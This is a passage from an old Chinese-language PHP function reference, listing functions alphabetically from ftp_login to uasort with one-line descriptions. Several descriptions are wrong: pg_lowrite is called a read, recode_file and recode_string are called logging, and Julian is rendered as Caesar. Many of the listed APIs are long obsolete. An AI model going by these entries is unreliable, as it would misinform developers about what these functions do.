ftp_login: 登入 FTP 伺服器。
ftp_mdtm: 获得指定档案的最后修改时间。
ftp_mkdir: 建新目录。
ftp_nlist: 列出指定目录中所有档案。
ftp_pasv: 切换主被动传输模式。
ftp_put: 上传档案。
ftp_pwd: 取得目前所在路径。
ftp_quit: 关闭 FTP 连线。
ftp_rawlist: 详细列出指定目录中所有档案。
ftp_rename: 将档案改名。
ftp_rmdir: 删除目录。
ftp_size: 获得指定档案的大小。
ftp_systype: 显示伺服器系统。
function_exists: 查核函式是否已定义。
fwrite: 二进位位元方式写入档案。
getallheaders: 获得所有 HTTP 变数值。
getdate: 获得时间及日期资讯。
getenv: 取得系统的环境变数
gethostbyaddr: 传回机器名称。
gethostbyname: 传回 IP 网址。
gethostbynamel: 传回机器名称的所有 IP。
GetImageSize: 取得图片的长宽。
getlastmod: 传回该网页的最后修改时间。
getmxrr: 取得指定网址 DNS 记录之 MX 栏位。
getmyinode: 传回该网页的 inode 值。
getmypid: 传回 PHP 的行程代号。
getmyuid: 传回 PHP 的使用者代码。
getrandmax: 乱数的最大值。
getrusage: 传回系统资源使用率。
gettimeofday: 取得目前时间。
gettype: 取得变数的型态。
get_cfg_var: 取得 PHP 的设定选项值。
get_current_user: 取得 PHP 行程的拥有者名称。
get_magic_quotes_gpc: 取得 PHP 环境变数 magic_quotes_gpc 的值。
get_magic_quotes_runtime: 取得 PHP 环境变数 magic_quotes_runtime 的值。
get_meta_tags: 抽出档案所有 meta 标记的资料。
gmdate: 取得目前与 GMT 差后的时间。
gmmktime: 取得 UNIX 时间戳记的格林威治时间。
GregorianToJD: 将格里高里历法转换成为凯撒日计数。
gzclose: 关闭压缩档。
gzeof: 判断是否在压缩档尾。
gzfile: 读压缩档到阵列中。
gzgetc: 读压缩档中的字元。
gzgets: 读压缩档中的字串。
gzgetss: 读压缩档中的字串，并去掉 HTML 指令。
gzopen: 开启压缩档。
gzpassthru: 解压缩指标后全部资料。
gzputs: 资料写入压缩档。
gzread: 压缩档读出指定长度字串。
gzrewind: 重设压缩档指标。
gzseek: 设压缩档指标至指定处。
gztell: 取得压缩档指标处。
gzwrite: 资料写入压缩档。
header: 送出 HTTP 协定的标头到浏览器
HexDec: 十六进位转十进位。
htmlentities: 将所有的字元都转成 HTML 字串。
htmlspecialchars: 将特殊字元转成 HTML 格式。
hw_Children: 取得子物件代码。
hw_ChildrenObj: 取得子物件的物件记录。
hw_Close: 关闭 Hyperwave 连线。
hw_Connect: 连上 Hyperwave 伺服器。
hw_Cp: 复制物件。
hw_Deleteobject: 删除物件。
hw_DocByAnchor: 取得指定锚的文件物件代码。
hw_DocByAnchorObj: 取得指定锚的文件物件。
hw_DocumentAttributes: 取得指定文件物件属性。
hw_DocumentBodyTag: 取得指定文件物件的文件主体标记。
hw_DocumentContent: 取得指定文件物件的内容。
hw_DocumentSetContent: 重设指定文件物件的内容。
hw_DocumentSize: 取得文件大小。
hw_EditText: 更动文字文件。
hw_Error: 取得错误代码。
hw_ErrorMsg: 取得错误讯息。
hw_Free_Document: 释放文件使用的记忆体。
hw_GetAnchors: 取得文件的连结锚。
hw_GetAnchorsObj: 取得文件的连结锚记录。
hw_GetAndLock: 取得并锁住物件。
hw_GetChildColl: 取得子物件们的 ID。
hw_GetChildCollObj: 取得子物件们的资料。
hw_GetChildDocColl: 取得全部子文件聚集。
hw_GetChildDocCollObj: 取得全部子文件聚集记录。
hw_GetObject: 取得物件。
hw_GetObjectByQuery: 搜寻物件。
hw_GetObjectByQueryColl: 搜寻聚集物件。
hw_GetObjectByQueryCollObj: 搜寻聚集物件。
hw_GetObjectByQueryObj: 搜寻物件。
hw_GetParents: 取得父物件的 ID。
hw_GetParentsObj: 取得父物件的资料。
hw_GetRemote: 取得远端文件。
hw_GetRemoteChildren: 取得远端的子文件。
hw_GetSrcByDestObj: 取得指定目的的文件内容。
hw_GetText: 取得纯文字文件。
hw_GetUsername: 目前使用者名字。
hw_Identify: 使用者身份确认。
hw_InCollections: 检查物件聚集。
hw_Info: 连线资讯。
hw_InsColl: 插入聚集。
hw_InsDoc: 插入文件。
hw_InsertDocument: 上传文件。
hw_InsertObject: 插入物件记录。
hw_Modifyobject: 修改物件记录。
hw_Mv: 移动物件。
hw_New_Document: 建立新文件。
hw_Objrec2Array: 物件记录转为阵列。
hw_OutputDocument: 输出文件。
hw_pConnect: 连上 Hyperwave 伺服器。
hw_PipeDocument: 取得文件。
hw_Root: 取得根物件代码。
hw_Unlock: 取消锁定。
hw_Who: 列出目前使用者。
ibase_bind: 连结 PHP 变数到 InterBase 参数。
ibase_close: 关闭 InterBase 伺服器连线。
ibase_connect: 开启 InterBase 伺服器连线。
ibase_execute: 执行 SQL 的指令区段。
ibase_fetch_row: 传回单列的各栏位。
ibase_free_query: 释放查询指令占用记忆体。
ibase_free_result: 释放传回占用记忆体。
ibase_pconnect: 保持 InterBase 伺服器连线。
ibase_prepare: 分析 SQL 语法。
ibase_query: 送出一个 query 字串。
ibase_timefmt: 设定时间格式。
ifxus_close_slob: 删除 slob 物件。
ifxus_create_slob: 建立 slob 物件。
ifxus_open_slob: 开启 slob 物件。
ifxus_read_slob: 读取指定数目的 slob 物件。
ifxus_seek_slob: 设定目前档案或找寻位置。
ifxus_tell_slob: 传回目前档案或找寻位置。
ifxus_write_slob: 将字串写入 slob 物件中。
ifx_affected_rows: 得到 Informix 最后操作影响的列数目。
ifx_blobinfile_mode: 设定长位元物件模式。
ifx_byteasvarchar: 设定位元组模式内定值。
ifx_close: 关闭 Informix 伺服器连线。
ifx_connect: 开启 Informix 伺服器连线。
ifx_copy_blob: 复制长位元物件。
ifx_create_blob: 建立长位元物件。
ifx_create_char: 建立字元物件。
ifx_do: 执行已准备 query 字串。
ifx_error: 取得 Informix 最后的错误。
ifx_errormsg: 取得 Informix 最后错误讯息。
ifx_fetch_row: 传回单列的各栏位。
ifx_fieldproperties: 列出 Informix 的 SQL 栏位属性。
ifx_fieldtypes: 列出 Informix 的 SQL 栏位。
ifx_free_blob: 删除长位元物件。
ifx_free_char: 删除字元物件。
ifx_free_result: 释放传回占用记忆体。
ifx_free_slob: 删除 slob 物件。
ifx_getsqlca: 取得 query 后的 sqlca 资讯。
ifx_get_blob: 取得长位元物件。
ifx_get_char: 取得字元物件。
ifx_htmltbl_result: 将 query 传回资料转成 HTML 表格。
ifx_nullformat: 设定空字元模式内定值。
ifx_num_fields: 取得传回栏位的数目。
ifx_num_rows: 取得传回列的数目。
ifx_pconnect: 开启 Informix 伺服器长期连线。
ifx_prepare: 准备 query 字串。
ifx_query: 送出一个 query 字串。
ifx_textasvarchar: 设定文字模式内定值。
ifx_update_blob: 更改长位元物件。
ifx_update_char: 更改字元物件。
ignore_user_abort: 连线中断后程式是否执行。
ImageArc: 画弧线。
ImageChar: 写出横向字元。
ImageCharUp: 写出直式字元。
ImageColorAllocate: 匹配颜色。
ImageColorAt: 取得图中指定点颜色的索引值。
ImageColorClosest: 计算色表中与指定颜色最接近者。
ImageColorExact: 计算色表上指定颜色索引值。
ImageColorResolve: 计算色表上指定或最接近颜色的索引值。
ImageColorSet: 设定色表上指定索引的颜色。
ImageColorsForIndex: 取得色表上指定索引的颜色。
ImageColorsTotal: 计算图的颜色数。
ImageColorTransparent: 指定透明背景色。
ImageCopyResized: 复制新图并调整大小。
ImageCreate: 建立新图。
ImageCreateFromGIF: 取出 GIF 图型。
ImageCreateFromPNG: 取出 PNG 图型。
ImageDashedLine: 绘虚线。
ImageDestroy: 结束图形。
ImageFill: 图形着色。
ImageFilledPolygon: 多边形区域着色。
ImageFilledRectangle: 矩形区域着色。
ImageFillToBorder: 指定颜色区域内着色。
ImageFontHeight: 取得字型的高度。
ImageFontWidth: 取得字型的宽度。
ImageGIF: 建立 GIF 图型。
ImageInterlace: 使用交错式显示与否。
ImageLine: 绘实线。
ImageLoadFont: 载入点阵字型。
ImagePNG: 建立 PNG 图型。
ImagePolygon: 绘多边形。
ImagePSBBox: 计算 PostScript 文字所占区域。
ImagePSEncodeFont: PostScript 字型转成向量字。
ImagePSFreeFont: 卸下 PostScript 字型。
ImagePSLoadFont: 载入 PostScript 字型。
ImagePSText: 写 PostScript 文字到图中。
ImageRectangle: 绘矩形。
ImageSetPixel: 绘点。
ImageString: 绘横式字串。
ImageStringUp: 绘直式字串。
ImageSX: 取得图片的宽度。
ImageSY: 取得图片的高度。
ImageTTFBBox: 计算 TTF 文字所占区域。
ImageTTFText: 写 TTF 文字到图中。
imap_8bit: 将八位元转成 qp 编码。
imap_alerts: 所有的警告讯息。
imap_append: 附加字串到指定的邮箱中。
imap_base64: 解 BASE64 编码。
imap_binary: 将八位元转成 base64 编码。
imap_body: 读信的内文。
imap_check: 传回邮箱资讯。
imap_clearflag_full: 清除信件旗标。
imap_close: 关闭 IMAP 连结。
imap_createmailbox: 建立新的信箱。
imap_delete: 标记欲删除邮件。
imap_deletemailbox: 删除既有信箱。
imap_errors: 所有的错误讯息。
imap_expunge: 删除已标记的邮件。
imap_fetchbody: 从信件内文取出指定区段。
imap_fetchheader: 取得原始标头。
imap_fetchstructure: 获取某信件的结构资讯。
imap_getmailboxes: 取得全部信件详细资讯。
imap_getsubscribed: 列出所有订阅邮箱。
imap_header: 获取某信件的标头资讯。
imap_headers: 获取全部信件的标头资讯。
imap_last_error: 最后的错误讯息。
imap_listmailbox: 获取邮箱列示。
imap_listsubscribed: 获取订阅邮箱列示。
imap_mailboxmsginfo: 取得目前邮箱的资讯。
imap_mail_copy: 复制指定信件到它处邮箱。
imap_mail_move: 移动指定信件到它处邮箱。
imap_msgno: 列出 UID 的连续信件。
imap_num_msg: 取得信件数。
imap_num_recent: 取得新进信件数。
imap_open: 开启 IMAP 连结。
imap_ping: 检查 IMAP 是否连线。
imap_qprint: 将 qp 编码转成八位元。
imap_renamemailbox: 更改邮箱名字。
imap_reopen: 重开 IMAP 连结。
imap_rfc822_parse_adrlist: 剖析电子邮件位址。
imap_rfc822_write_address: 电子邮件位址标准化。
imap_scanmailbox: 寻找信件有无特定字串。
imap_search: 搜寻指定标准的信件。
imap_setflag_full: 设定信件旗标。
imap_sort: 将信件标头排序。
imap_status: 目前的状态资讯。
imap_subscribe: 订阅邮箱。
imap_uid: 取得信件 UID。
imap_undelete: 取消删除邮件标记。
imap_unsubscribe: 取消订阅邮箱。
implode: 将阵列变成字串。
intval: 变数转成整数型态。
iptcparse: 使用 IPTC 模组解析位元资料。
isset: 判断变数是否已设定。
is_array: 判断变数型态是否为阵列型态。
is_dir: 测试档案是否为目录。
is_double: 判断变数型态是否为倍浮点数型态。
is_executable: 测试档案是否为可执行档。
is_file: 测试档案是否为正常档案。
is_float: 判断变数型态是否为浮点数型态。
is_int: 判断变数型态是否为整数型态。
is_integer: 判断变数型态是否为长整数型态。
is_link: 测试档案是否为连结档。
is_long: 判断变数型态是否为长整数型态。
is_object: 判断变数型态是否为物件型态。
is_readable: 测试档案是否可读取。
is_real: 判断变数型态是否为实数型态。
is_string: 判断变数型态是否为字串型态。
is_writeable: 测试档案是否可写入。
JDDayOfWeek: 传回日期在周几。
JDMonthName: 传回月份名。
JDToFrench: 将凯撒日计数转换成为法国共和历法。
JDToGregorian: 将凯撒日计数 (Julian Day Count) 转换成为格里高里历法 (Gregorian date)。
JDToJewish: 将凯撒日计数转换成为犹太历法。
JDToJulian: 将凯撒日计数转换成为凯撒历法。
JewishToJD: 将犹太历法转换成为凯撒日计数。
join: 将阵列变成字串。
JulianToJD: 将凯撒历法转换成为凯撒日计数。
key: 取得阵列中的索引资料。
ksort: 将阵列的元素依索引排序。
ldap_add: 增加 LDAP 名录的条目。
ldap_bind: 系住 LDAP 目录。
ldap_close: 结束 LDAP 连结。
ldap_connect: 连上 LDAP 伺服器。
ldap_count_entries: 搜寻结果的数目。
ldap_delete: 删除指定资源。
ldap_dn2ufn: 将 dn 转成易读的名字。
ldap_explode_dn: 切开 dn 的栏位。
ldap_first_attribute: 取得第一笔资源的属性。
ldap_first_entry: 取得第一笔结果代号。
ldap_free_result: 释放传回资料记忆体。
ldap_get_attributes: 取得传回资料的属性。
ldap_get_dn: 取得 DN 值。
ldap_get_entries: 取得全部传回资料。
ldap_get_values: 取得全部传回值。
ldap_list: 列出简表。
ldap_modify: 改变 LDAP 名录的属性。
ldap_mod_add: 增加 LDAP 名录的属性。
ldap_mod_del: 删除 LDAP 名录的属性。
ldap_mod_replace: 新的 LDAP 名录取代旧属性。
ldap_next_attribute: 取得传回资料的下笔属性。
ldap_next_entry: 取得下一笔结果代号。
ldap_read: 取得目前的资料属性。
ldap_search: 列出树状简表。
ldap_unbind: 结束 LDAP 连结。
leak: 泄出记忆体。
link: 建立硬式连结。
linkinfo: 取得连结资讯。
list: 列出阵列中元素的值。
Log: 自然对数值。
Log10: 10 基底的对数值。
lstat: 取得连结档相关资讯。
ltrim: 去除连续空白。
mail: 寄出电子邮件。
max: 取得最大值。
mcrypt_cbc: 使用 CBC 将资料加/解密。
mcrypt_cfb: 使用 CFB 将资料加/解密。
mcrypt_create_iv: 从随机源将向量初始化。
mcrypt_ecb: 使用 ECB 将资料加/解密。
mcrypt_get_block_size: 取得编码方式的区块大小。
mcrypt_get_cipher_name: 取得编码方式的名称。
mcrypt_get_key_size: 取得编码钥匙大小。
mcrypt_ofb: 使用 OFB 将资料加/解密。
md5: 计算字串的 MD5 杂凑。
mhash: 计算杂凑值。
mhash_count: 取得杂凑 ID 的最大值。
mhash_get_block_size: 取得杂凑方式的区块大小。
mhash_get_hash_name: 取得杂凑演算法名称。
microtime: 取得目前时间的 UNIX 时间戳记的百万分之一秒值。
min: 取得最小值。
mkdir: 建立目录。
mktime: 取得 UNIX 时间戳记。
msql: 送出 query 字串。
msql_affected_rows: 得到 mSQL 最后操作影响的列数目。
msql_close: 关闭 mSQL 资料库连线。
msql_connect: 开启 mSQL 资料库连线。
msql_createdb: 建立一个新的 mSQL 资料库。
msql_create_db: 建立一个新的 mSQL 资料库。
msql_data_seek: 移动内部传回指标。
msql_dbname: 取得目前所在资料库名称。
msql_dropdb: 删除指定的 mSQL 资料库。
msql_drop_db: 删除指定的 mSQL 资料库。
msql_error: 取得最后错误讯息。
msql_fetch_array: 传回阵列资料。
msql_fetch_field: 取得栏位资讯。
msql_fetch_object: 传回物件资料。
msql_fetch_row: 传回单列的各栏位。
msql_fieldflags: 获得栏位的旗标。
msql_fieldlen: 获得栏位的长度。
msql_fieldname: 传回指定栏位的名称。
msql_fieldtable: 获得栏位的资料表 (table) 名称。
msql_fieldtype: 获得栏位的型态。
msql_field_seek: 设定指标到传回值的某栏位。
msql_freeresult: 释放传回占用记忆体。
msql_free_result: 释放传回占用记忆体。
msql_listdbs: 列出可用资料库 (database)。
msql_listfields: 列出指定资料表的栏位 (field)。
msql_listtables: 列出指定资料库的资料表 (table)。
msql_list_dbs: 列出可用资料库 (database)。
msql_list_fields: 列出指定资料表的栏位 (field)。
msql_list_tables: 列出指定资料库的资料表 (table)。
msql_numfields: 取得传回栏位的数目。
msql_numrows: 取得传回列的数目。
msql_num_fields: 取得传回栏位的数目。
msql_num_rows: 取得传回列的数目。
msql_pconnect: 开启 mSQL 伺服器长期连线。
msql_query: 送出一个 query 字串。
msql_regcase: 将字串逐字传回大小写字元。
msql_result: 取得查询 (query) 的结果。
msql_selectdb: 选择一个资料库。
msql_select_db: 选择一个资料库。
msql_tablename: 传回指定资料表的名称。
mssql_affected_rows: 取得最后 query 影响的列数。
mssql_close: 关闭与资料库的连线。
mssql_connect: 连上资料库。
mssql_data_seek: 移动列指标。
mssql_fetch_array: 传回阵列资料。
mssql_fetch_field: 取得栏位资讯。
mssql_fetch_object: 传回物件资料。
mssql_fetch_row: 传回单列的各栏位。
mssql_field_seek: 设定指标到传回值的某栏位。
mssql_free_result: 释放传回占用记忆体。
mssql_num_fields: 取得传回栏位的数目。
mssql_num_rows: 取得传回列的数目。
mssql_pconnect: 开启 MS SQL 伺服器长期连线。
mssql_query: 送出一个 query 字串。
mssql_result: 取得查询 (query) 的结果。
mssql_select_db: 选择一个资料库。
mt_getrandmax: 乱数的最大值。
mt_rand: 取得乱数值。
mt_srand: 设定乱数种子。
mysql_affected_rows: 得到 MySQL 最后操作影响的列数目。
mysql_close: 关闭 MySQL 伺服器连线。
mysql_connect: 开启 MySQL 伺服器连线。
mysql_create_db: 建立一个 MySQL 新资料库。
mysql_data_seek: 移动内部传回指标。
mysql_db_query: 送查询字串 (query) 到 MySQL 资料库。
mysql_drop_db: 移除资料库。
mysql_errno: 传回错误讯息代码。
mysql_error: 传回错误讯息。
mysql_fetch_array: 传回阵列资料。
mysql_fetch_field: 取得栏位资讯。
mysql_fetch_lengths: 传回单列各栏资料最大长度。
mysql_fetch_object: 传回物件资料。
mysql_fetch_row: 传回单列的各栏位。
mysql_field_flags: 获得目前栏位的旗标。
mysql_field_len: 获得目前栏位的长度。
mysql_field_name: 传回指定栏位的名称。
mysql_field_seek: 设定指标到传回值的某栏位。
mysql_field_table: 获得目前栏位的资料表 (table) 名称。
mysql_field_type: 获得目前栏位的型态。
mysql_free_result: 释放传回占用记忆体。
mysql_insert_id: 传回最后一次使用 INSERT 指令的 ID。
mysql_list_dbs: 列出 MySQL 伺服器可用的资料库 (database)。
mysql_list_fields: 列出指定资料表的栏位 (field)。
mysql_list_tables: 列出指定资料库的资料表 (table)。
mysql_num_fields: 取得传回栏位的数目。
mysql_num_rows: 取得传回列的数目。
mysql_pconnect: 开启 MySQL 伺服器长期连线。
mysql_query: 送出一个 query 字串。
mysql_result: 取得查询 (query) 的结果。
mysql_select_db: 选择一个资料库。
mysql_tablename: 取得资料表名称。
next: 将阵列的内部指标向后移动。
nl2br: 将换行字元转成 <br>。
number_format: 格式化数字字串。
OCIBindByName: 让动态 SQL 可使用 PHP 变数。
OCIColumnIsNULL: 测试传回行是否为空的。
OCIColumnSize: 取得栏位型态的大小。
OCICommit: 将 Oracle 的交易处理付诸实行。
OCIDefineByName: 让 SELECT 指令可使用 PHP 变数。
OCIExecute: 执行 Oracle 的指令区段。
OCIFetch: 取得传回资料的一列 (row)。
OCIFetchInto: 取回 Oracle 资料放入阵列。
OCILogOff: 关闭与 Oracle 的连结。
OCILogon: 开启与 Oracle 的连结。
OCINewDescriptor: 初始新的 LOB/FILE 描述。
OCINumRows: 取得受影响栏位的数目。
OCIParse: 分析 SQL 语法。
OCIResult: 从目前列 (row) 的资料取得一栏 (column)。
OCIRollback: 撤消当前交易。
OctDec: 八进位转十进位。
odbc_autocommit: 开关自动更动功能。
odbc_binmode: 设定二进位资料处理方式。
odbc_close: 关闭 ODBC 连结。
odbc_close_all: 关闭所有 ODBC 连结。
odbc_commit: 更动 ODBC 资料库。
odbc_connect: 连结至 ODBC 资料库。
odbc_cursor: 取得游标名。
odbc_do: 执行 SQL 指令。
odbc_exec: 执行 SQL 指令。
odbc_execute: 执行预置 SQL 指令。
odbc_fetch_into: 取得传回的指定列。
odbc_fetch_row: 取得传回一列。
odbc_field_len: 取得栏位资料长度。
odbc_field_name: 取得栏位名称。
odbc_field_type: 取得栏位资料形态。
odbc_free_result: 释出传回资料的记忆体。
odbc_longreadlen: 设定传回栏的最大值。
odbc_num_fields: 取得栏位数目。
odbc_num_rows: 取得传回列数目。
odbc_pconnect: 长期连结至 ODBC 资料库。
odbc_prepare: 预置 SQL 指令。
odbc_result: 取得传回资料。
odbc_result_all: 传回 HTML 表格资料。
odbc_rollback: 撤消当前交易。
odbc_setoption: 调整 ODBC 设定。
opendir: 开启目录 handle。
openlog: 打开系统纪录。
Ora_Bind: 连结 PHP 变数到 Oracle 参数。
Ora_Close: 关闭一个 Oracle 的 cursor。
Ora_ColumnName: 得到 Oracle 传回列 (Column) 的名称。
Ora_ColumnSize: 取得栏位型态的大小。
Ora_ColumnType: 得到 Oracle 传回列 (Column) 的型态。
Ora_Commit: 将 Oracle 的交易处理付诸实行。
Ora_CommitOff: 关闭自动执行 Oracle 交易更动的功能。
Ora_CommitOn: 打开自动执行 Oracle 交易更动的功能。
Ora_Do: 快速的 SQL 查询。
Ora_Error: 获得 Oracle 错误讯息。
Ora_ErrorCode: 获得 Oracle 错误代码。
Ora_Exec: 执行 Oracle 的指令区段。
Ora_Fetch: 取得传回资料的一列 (row)。
Ora_FetchInto: 取回 Oracle 资料放入阵列。
Ora_GetColumn: 从传回列 (row) 的资料取得一栏 (column)。
Ora_Logoff: 结束与 Oracle 的连结。
Ora_Logon: 开启与 Oracle 的连结。
Ora_Numcols: 取得栏位的数目。
Ora_Open: 开启 Oracle 的 cursor。
Ora_Parse: 分析 SQL 语法。
Ora_PLogon: 开启与 Oracle 的长期连结。
Ora_Rollback: 撤消当前交易。
Ord: 传回字元的序数值。
pack: 压缩资料到位元字串之中。
parse_str: 剖析 query 字串成变数。
parse_url: 剖析 URL 字串。
passthru: 执行外部程式并不加处理输出资料。
pclose: 关闭档案。
PDF_add_annotation: 加入注解。
PDF_add_outline: 目前页面加入书签。
PDF_arc: 绘弧。
PDF_begin_page: 启始 PDF 档案页面。
PDF_circle: 绘圆。
PDF_clip: 组合所有向量。
PDF_close: 关闭 PDF 档。
PDF_closepath: 形成封闭的向量形状。
PDF_closepath_fill_stroke: 形成封闭的向量形状沿向量绘线并填满。
PDF_closepath_stroke: 形成封闭的向量形状并沿向量绘线。
PDF_close_image: 关闭图档。
PDF_continue_text: 输出文字。
PDF_curveto: 绘贝氏曲线。
PDF_endpath: 关闭目前向量。
PDF_end_page: 关闭 PDF 档案页面。
PDF_execute_image: 放置 PDF 档中图片到指定位置。
PDF_fill: 填满目前的向量。
PDF_fill_stroke: 填满目前的向量并沿向量绘线。
PDF_get_info: 传回档案资讯。
PDF_lineto: 绘直线。
PDF_moveto: 设定处理的坐标点。
PDF_open: 建立新的 PDF 档。
PDF_open_gif: 开启 GIF 图档。
PDF_open_jpeg: 开启 JPEG 图档。
PDF_open_memory_image: 开启记忆体图档。
PDF_place_image: 放置图片到 PDF 档指定位置。
PDF_put_image: 放置图片到 PDF 档。
PDF_rect: 绘长方形。
PDF_restore: 还原环境变数。
PDF_rotate: 旋转物件。
PDF_save: 储存环境变数。
PDF_scale: 缩放物件。
PDF_setdash: 设定虚线样式。
PDF_setflat: 设定平滑值。
PDF_setgray: 指定绘图的颜色为灰阶并填入。
PDF_setgray_fill: 指定填入的颜色为灰阶。
PDF_setgray_stroke: 指定绘图的颜色为灰阶。
PDF_setlinecap: 设定 linecap 参数。
PDF_setlinejoin: 设定连线参数。
PDF_setlinewidth: 设定线宽。
PDF_setmiterlimit: 设定斜边界限。
PDF_setrgbcolor: 指定绘图的颜色为彩色并填入。
PDF_setrgbcolor_fill: 指定填入的颜色为彩色。
PDF_setrgbcolor_stroke: 指定绘图的颜色为彩色。
PDF_set_char_spacing: 设定字元间距。
PDF_set_duration: 设定二页的切换时间。
PDF_set_font: 设定使用的字型及大小。
PDF_set_horiz_scaling: 设定文字水平间距。
PDF_set_info_author: 设定档案作者。
PDF_set_info_creator: 设定建档者字串。
PDF_set_info_keywords: 设定档案的关键字。
PDF_set_info_subject: 设定档案主题。
PDF_set_info_title: 设定档案标题。
PDF_set_leading: 设定行距。
PDF_set_text_matrix: 设定文字矩阵。
PDF_set_text_pos: 设定文字位置。
PDF_set_text_rendering: 设定文字表现方式。
PDF_set_text_rise: 设定文字高度。
PDF_set_transition: 设定页的转换。
PDF_set_word_spacing: 设定字间距。
PDF_show: 输出字串到 PDF 档案。
PDF_show_xy: 输出字串到指定坐标。
PDF_stringwidth: 计算字串的宽度。
PDF_stroke: 沿向量绘线。
PDF_translate: 移动原点。
pfsockopen: 打开网路的 Socket 持续连结。
pg_Close: 关闭 PostgreSQL 伺服器连线。
pg_cmdTuples: 取得被 SQL 指令影响的资料笔数。
pg_Connect: 开启 PostgreSQL 伺服器连线。
pg_DBname: 取得目前的资料库名称。
pg_ErrorMessage: 传回错误讯息。
pg_Exec: 执行 query 指令。
pg_Fetch_Array: 传回阵列资料。
pg_Fetch_Object: 传回物件资料。
pg_Fetch_Row: 传回单列的各栏位。
pg_FieldIsNull: 检查栏位是否有资料。
pg_FieldName: 传回指定栏位的名称。
pg_FieldNum: 取得指定栏位的行数。
pg_FieldPrtLen: 计算可列示的长度。
pg_FieldSize: 计算指定栏位的长度。
pg_FieldType: 获得目前栏位的型态。
pg_FreeResult: 释放传回占用记忆体。
pg_GetLastOid: 取得最后的物件代码。
pg_Host: 取得连线机器名称。
pg_loclose: 关闭大型物件。
pg_locreate: 建立大型物件。
pg_loopen: 开启大型物件。
pg_loread: 读取大型物件。
pg_loreadall: 读取大型物件并输出。
pg_lounlink: 删除大型物件。
pg_lowrite: 读取大型物件。
pg_NumFields: 取得传回栏位的数目。
pg_NumRows: 取得传回列的数目。
pg_Options: 取得连线机器选项。
pg_pConnect: 开启 PostgreSQL 伺服器长期连线。
pg_Port: 取得连线机器埠号。
pg_Result: 取得查询 (query) 的结果。
pg_tty: 取得连线机器终端机。
phpinfo: 传回 PHP 所有相关资讯。
phpversion: 传回 PHP 版本讯息。
pi: 圆周率。
popen: 开启档案。
pos: 传回阵列目前的元素。
pow: 次方。
preg_match: 字串比对剖析。
preg_match_all: 字串整体比对剖析。
preg_replace: 字串比对剖析并取代。
preg_split: 将字串依指定的规则切开。
prev: 将阵列的内部指标往前移动。
print: 输出字串。
printf: 输出格式化字串。
putenv: 设定系统环境变数。
quoted_printable_decode: 将 qp 编码字串转成 8 位元字串。
QuoteMeta: 加入引用符号。
rand: 取得乱数值。
range: 建立一个整数范围的阵列。
rawurldecode: 从 URL 专用格式字串还原成普通字串。
rawurlencode: 将字串编码成 URL 专用格式。
readdir: 读取目录 handle。
readfile: 输出档案。
readgzfile: 读出压缩档。
readlink: 传回符号连结 (symbolic link) 目标档。
recode_file: 记录档案或档案请求到记录中。
recode_string: 记录字串到记录中。
register_shutdown_function: 定义 PHP 程式执行完成后执行的函式。
rename: 更改档名。
reset: 将阵列的指标指到阵列第一个元素。
rewind: 重置开档的读写位置指标。
rewinddir: 重设目录 handle。
rmdir: 删除目录。
round: 四舍五入。
rsort: 将阵列的值由大到小排序。
sem_acquire: 捕获信号。
sem_get: 取得信号代码。
sem_release: 释出信号。
serialize: 储存资料到系统中。
session_decode: Session 资料解码。
session_destroy: 结束 session。
session_encode: Session 资料编码。
session_id: 存取目前 session 代号。
session_is_registered: 检查变数是否注册。
session_module_name: 存取目前 session 模组。
session_name: 存取目前 session 名称。
session_register: 注册新的变数。
session_save_path: 存取目前 session 路径。
session_start: 初始 session。
session_unregister: 删除已注册变数。
setcookie: 送出 Cookie 资讯到浏览器。
setlocale: 设定地域化资讯。
settype: 设定变数型态。
set_file_buffer: 设定档案缓冲区大小。
set_magic_quotes_runtime: 设定 magic_quotes_runtime 值。
set_socket_blocking: 切换搁置与无搁置模式。
set_time_limit: 设定该页最久执行时间。
shm_attach: 开启建立共享记忆体区段。
shm_detach: 中止共享记忆体区段连结。
shm_get_var: 取得记忆体区段中指定的变数。
shm_put_var: 加入或更新记忆体区段中的变数。
shm_remove: 清除记忆体区段。
shm_remove_var: 删除记忆体区段中指定的变数。
shuffle: 将阵列的顺序弄混。
similar_text: 计算字串相似度。
Sin: 正弦计算。
sizeof: 获知阵列的大小。
sleep: 暂停执行。
snmpget: 取得指定物件识别码。
snmpwalk: 取得所有物件。
snmpwalkoid: 取得网路本体树状资讯。
snmp_get_quick_print: 取得 UCD 函式库中的 quick_print 值。
snmp_set_quick_print: 设定 UCD 函式库中的 quick_print 值。
solid_close: 关闭 solid 连结。
solid_connect: 连结至 solid 资料库。
solid_exec: 执行 SQL 指令。
solid_fetchrow: 取得传回一列。
solid_fieldname: 取得栏位名称。
solid_fieldnum: 取得栏位数目。
solid_freeresult: 释出传回资料的记忆体。
solid_numfields: 取得栏位数目。
solid_numrows: 取得传回列数目。
solid_result: 取得传回资料。
sort: 将阵列排序。
soundex: 计算字串的读音值
split: 将字串依指定的规则切开。
sprintf: 将字串格式化。
sql_regcase: 将字串逐字传回大小写字元。
Sqrt: 开平方根。
srand: 设定乱数种子。
stat: 取得档案相关资讯。
strchr: 寻找第一个出现的字元。
strcmp: 字串比较。
strcspn: 不同字串的长度。
strftime: 将伺服器的时间本地格式化。
StripSlashes: 去掉反斜线字元。
strip_tags: 去掉 HTML 及 PHP 的标记。
strlen: 取得字串长度。
strpos: 寻找字串中某字元最先出现处。
strrchr: 取得某字元最后出现处起的字串。
strrev: 颠倒字串。
strrpos: 寻找字串中某字元最后出现处。
strspn: 找出某字串落在另一字串遮罩的数目。
strstr: 传回字串中某字串开始处至结束的字串。
strtok: 切开字串。
strtolower: 字串全转为小写。
strtoupper: 字串全转为大写。
strtr: 转换某些字元。
strval: 将变数转成字串型态。
str_replace: 字串取代。
substr: 取部份字串。
sybase_affected_rows: 取得最后 query 影响的列数。
sybase_close: 关闭与资料库的连线。
sybase_connect: 连上资料库。
sybase_data_seek: 移动列指标。
sybase_fetch_array: 传回阵列资料。
sybase_fetch_field: 取得栏位资讯。
sybase_fetch_object: 传回物件资料。
sybase_fetch_row: 传回单列的各栏位。
sybase_field_seek: 设定指标到传回值的某栏位。
sybase_free_result: 释放传回占用记忆体。
sybase_num_fields: 取得传回栏位的数目。
sybase_num_rows: 取得传回列的数目。
sybase_pconnect: 开启伺服器长期连线。
sybase_query: 送出一个 query 字串。
sybase_result: 取得查询 (query) 的结果。
sybase_select_db: 选择一个资料库。
symlink: 建立符号连结 (symbolic link)。
syslog: 纪录至系统纪录。
system: 执行外部程式并显示输出资料。
Tan: 正切计算。
tempnam: 建立唯一的临时档。
time: 取得目前时间的 UNIX 时间戳记。
touch: 设定最后修改时间。
trim: 截去字串首尾的空格。
uasort: 将阵列依使用者自定的函式排序。
